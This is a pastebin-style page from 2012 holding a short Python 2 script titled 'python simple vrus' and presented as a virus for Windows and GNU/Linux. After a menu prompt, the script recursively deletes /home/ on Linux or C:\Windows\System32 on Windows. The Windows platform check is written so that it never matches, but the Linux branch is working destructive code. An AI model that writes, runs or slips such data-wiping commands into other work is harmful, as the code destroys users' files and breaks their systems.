Don't like ads? PRO users don't see any ads ;-)

python simple vrus

By: dauzcode on Jul 4th, 2012  |  syntax: Python  |  size: 0.63 KB  |  hits: 37  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/python
  2.  
  3. import sys, shutil
  4.  
  5. print """
  6. ----------------------
  7. -----+_) Windows Virus And GNU/Linux  (_+---
  8. ----------------------\n
  9. [1] WIndows  
  10. [2] Linux
  11.  
  12. """
  13.  
  14.  
  15.  
  16. def Linux():
  17.     try:
  18.         if sys.platform == "linux2":
  19.             shutil.rmtree("/home/")
  20.         print "Success"
  21.     except OSError:
  22.         print "please try again it is not a directory"
  23.  
  24. def Windows():
  25.     if sys.platform == "win, win32":
  26.         shutil.rmtree ("C:\Windows\System32")
  27.  
  28. pilihan =input("choice 1 or 2 ?")
  29.  
  30. if pilihan == 1:
  31.     Windows()
  32. elif pilihan == 2:
  33.     Linux()
  34. else:
  35.     print "You Mush choice 1 or 2 !!! "